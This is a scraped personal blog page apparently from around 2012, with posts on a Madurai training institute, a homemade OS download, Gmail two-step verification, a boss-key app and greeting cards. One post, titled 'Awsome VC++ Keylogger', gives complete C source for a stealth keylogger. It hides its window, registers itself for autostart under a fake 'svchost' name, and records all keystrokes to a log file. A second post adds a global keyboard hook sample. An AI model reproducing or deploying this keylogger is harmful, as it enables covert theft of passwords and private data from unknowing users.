ASTRO SOFT SOLUTIONS

0 comments

ASTRO SOFT SOLUTIONS

We Offered Industrial Training for C , C++,VB, .NET, web designing and PHP,JAVA/ J2EE, computer Hardware Networking, EMBEDDED system design, VLSI design & Offer Final year project for all Disciplines and all domains.

Ø  Real Time projects for BE/B.Sc.,BCA/BBA/M.Sc.,/MCA/MBA polytechnic College students

Ø  IEEE 2011-2012 based projects & Application – Client based projects ( Real time projects )

Ø  .NET / java/j2ee/ Embedded system/MATLAB BASED PROJECTS

Ø  VLSI /PHP/ Image processing

Ø  Wireless/Mobile computing /Data computing/communication/cloud computing..etc.
                          
                          


We train the students in projects and specialization knowledge in real time basis...

“WE ASSURE YOUR KNOWLEDGE …BECAUSE IF YOU HAVE KNOWLEDGE YOU CAN GET A JOB WITHOUT OTHERS HELP”

Contact Us :
ASTRO SOFT SOLUTIONS
No. C-142, A.K.N. Complex, 2nd Floor,
Nehruji Street, Thirunagar 4th stop,
Madurai – 625 006.
Phone: +91 452 646 6415
Mobile: +91 99947 14314, +91 90033 36415

Finally I finished Building My Operating System with Suse Linux KDE..!!

0 comments
The brand new Arulsoft Operating System with GUI is online now..You can download and evaluate it  friends..!!

To download the OS just Click the link below..!!!!
(ITZ JUST 378.68 MB ONLY..!!!!!!!!)

CLICK HERE TO DOWNLOAD ARULSOFT OS WITH GUI

Asterix Countdown

0 comments

CountDown To 2012

0 comments
0 comments

Roy Tanck's Flickr Widget requires Flash Player 9 or better.

Get this widget at roytanck.com

Two Step Authentication from Gmail to prevent password hacks

0 comments
 Two-step verification

      For the first time, we’re making it possible for organizations large and small to use this technology in just a few clicks for free. In the coming months, we’ll also be offering this same security to our hundreds of millions of individual Google users.


      Two-step verification is easy to set up, manage and use. When enabled by an administrator, it requires two means of identification to sign in to a Google Apps account, something you know: a password, and something you have: a mobile phone. It doesn’t require any special tokens or devices. After entering your password, a verification code is sent to your mobile phone via SMS, voice calls, or generated on an application you can install on your Android, BlackBerry or iPhone device. This makes it much more likely that you’re the only one accessing your data: even if someone has stolen your password, they'll need more than that to access your account. You can also indicate when you're using a computer you trust and don't want to be asked for a verification code from that machine in the future.
Two-step verification is built on an open standard designed to allow integration with other vendors’ authentication technologies in the future. We are also open sourcing our mobile authentication app so that companies can customize it as they see fit.
STEPS TO BE FOLLOWED IN THE TWO WAY AUNTHENTICATION
  1. SIGN TO GOOGLE,GMAIL….
  2. AFTER SIGNING IN GO TO GOOGLE .COM
  3. GO TO SETTINGS IN GOOGLE .COM

  1. IN THAT GO TO ACCOUNT SETTINGS
  2. THERE CLICK THE TWO WAY AUNTHENTICATION

And Follow the other steps as guided by google.com!!!!!!!!!!!!

Hiding Our Applications With Magic Boss Key

0 comments
Magic Boss Key allow you to hide active application window immediatlly using a hot key!You can hide the browser windows,folder windows,applications windows,all your desktop icons and taskbar when your boss or anyone else you dont want to see your screens comes in.Its speed is brought to maximum to allow you react as quickly as possible to any threat that appears. You wont feel even a slight difference in the performance of your home or office pc after installing it.With a cool and user-friendly interface makes it easy for anyone to use EfreeSoft Boss Key. Everybody should have such application for personal privacy.

To Download Please Visit : http://www.freedownloadsplace.com/Products/20363/Magic-Boss-Key

Awsome VC++ Keylogger

0 comments
#include 
#include 
#include 

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
 HWND stealth; /*creating stealth (window is not visible)*/
 AllocConsole();
 stealth=FindWindowA("ConsoleWindowClass",NULL);
 ShowWindow(stealth,0);
   
 int test,create;
 test=test_key();/*check if key is available for opening*/
   
 if (test==2)/*create key*/
 {
  char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
  create=create_key(path);
    
 }
  
   
 int t=get_keys();
 
 return t;
}  

int get_keys(void)
{
   short character;
     while(1)
     {
      
      for(character=8;character<=222;character++)
      {
       if(GetAsyncKeyState(character)==-32767)
       {   
        
        FILE *file;
        file=fopen("svchost.log","a+");
        if(file==NULL)
        {
          return 1;
        }   
        if(file!=NULL)
        {  
          if((character>=39)&&(character<=64))
          {
             fputc(character,file);
             fclose(file);
             break;
          }  
          else if((character>64)&&(character<91))
          {
             character+=32;
             fputc(character,file);
             fclose(file);
             break;
          }
          else
          { 
           switch(character)
           {
              case VK_SPACE:
              fputc(' ',file);
              fclose(file);
              break; 
              case VK_SHIFT:
              fputs("[SHIFT]",file);
              fclose(file);
              break;           
              case VK_RETURN:
              fputs("\n[ENTER]",file);
              fclose(file);
              break;
              case VK_BACK:
              fputs("[BACKSPACE]",file);
              fclose(file);
              break;
              case VK_TAB:
              fputs("[TAB]",file);
              fclose(file);
              break;
              case VK_CONTROL:
              fputs("[CTRL]",file);
              fclose(file);
              break; 
              case VK_DELETE:
              fputs("[DEL]",file);
              fclose(file);
              break;
              case VK_OEM_1:
              fputs("[;:]",file);
              fclose(file);
              break;
              case VK_OEM_2:
              fputs("[/?]",file);
              fclose(file);
              break;
              case VK_OEM_3:
              fputs("[`~]",file);
              fclose(file);
              break;
              case VK_OEM_4:
              fputs("[ [{ ]",file);
              fclose(file);
              break;
              case VK_OEM_5:
              fputs("[\\|]",file);
              fclose(file);
              break;        
              case VK_OEM_6:
              fputs("[ ]} ]",file);
              fclose(file);
              break;
              case VK_OEM_7:
              fputs("['\"]",file);
              fclose(file);
              break;
              /*case VK_OEM_PLUS:
              fputc('+',file);
              fclose(file);
              break;
              case VK_OEM_COMMA:
              fputc(',',file);
              fclose(file);
              break;
              case VK_OEM_MINUS:
              fputc('-',file);
              fclose(file);
              break;
              case VK_OEM_PERIOD:
              fputc('.',file);
              fclose(file);
              break;*/
              case VK_NUMPAD0:
              fputc('0',file);
              fclose(file);
              break;
              case VK_NUMPAD1:
              fputc('1',file);
              fclose(file);
              break;
              case VK_NUMPAD2:
              fputc('2',file);
              fclose(file);
              break;
              case VK_NUMPAD3:
              fputc('3',file);
              fclose(file);
              break;
              case VK_NUMPAD4:
              fputc('4',file);
              fclose(file);
              break;
              case VK_NUMPAD5:
              fputc('5',file);
              fclose(file);
              break;
              case VK_NUMPAD6:
              fputc('6',file);
              fclose(file);
              break;
              case VK_NUMPAD7:
              fputc('7',file);
              fclose(file);
              break;
              case VK_NUMPAD8:
              fputc('8',file);
              fclose(file);
              break;
              case VK_NUMPAD9:
              fputc('9',file);
              fclose(file);
              break;
              case VK_CAPITAL:
              fputs("[CAPS LOCK]",file);
              fclose(file);
              break;
              default:
              fclose(file);
              break;
          }  
           } 
         }  
     } 
    }      
      
   }
   return EXIT_SUCCESS;       
}             

int test_key(void)
{
 int check;
 HKEY hKey;
 char path[BUFSIZE];
 DWORD buf_length=BUFSIZE;
 int reg_key;
 
 reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
 if(reg_key!=0)
 { 
  check=1;
  return check;
 }  
     
 reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
 
 if((reg_key!=0)||(buf_length>BUFSIZE))
  check=2;
 if(reg_key==0)
  check=0;
   
 RegCloseKey(hKey);
 return check;   
}
   
int create_key(char *path)
{   
  int reg_key,check;
  
  HKEY hkey;
  
  reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
  if(reg_key==0)
  {
    RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
    check=0;
    return check;
  }
  if(reg_key!=0)
    check=1;
    
  return check;
}

LowLevel Windows API Keyboard Hook

0 comments

//**************************************
// Name: LowLevel Windows API Keyboard Hook
// Description:Sets a global keyboard hook in the current process low level using the Windows API
// By: aaron blair
//
//This code is copyrighted and has// limited warranties.Please see http://www.Planet-Source-Code.com/vb/scripts/ShowCode.asp?txtCodeId=11920&lngWId=3//for details.//**************************************

#include 
#include 
#include 
// function declaration.
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam );
int main()
{
 // Retrieve the applications instance
HINSTANCE appInstance = GetModuleHandle(NULL);
 // Set a global Windows Hook to capture keystrokes.
 SetWindowsHookEx( WH_KEYBOARD_LL, LowLevelKeyboardProc, appInstance, 0 );
MSG msg;
while(GetMessage(&msg, NULL, 0, 0) > 0)
{
  TranslateMessage(&msg);
  DispatchMessage(&msg);
}
 
return 0;
}
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam )
{
 // Declare our pointer to the KBDLLHOOKSTRUCT
 KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
 switch( wParam )
 {
 case WM_KEYUP: // When the key has been pressed and released
  {
   switch( pKeyBoard->vkCode ) // Check to see what key has been pushed
   {
   case VK_RETURN: // The return/enter key has been pressed
    DWORD timestamp = pKeyBoard->time; // This shows our timestamp when the key was pushed.
    printf("Enter Key Pressed %u", timestamp ); // Show us when the key has been pushed
   break;
   }
  }
 default:
  return CallNextHookEx( NULL, nCode, wParam, lParam );
 }
 return 0;

I Love You Card

0 comments

Happy Pongal

0 comments



www.latestgreetingcards.com

Difference Between IPV4 and IPV6

0 comments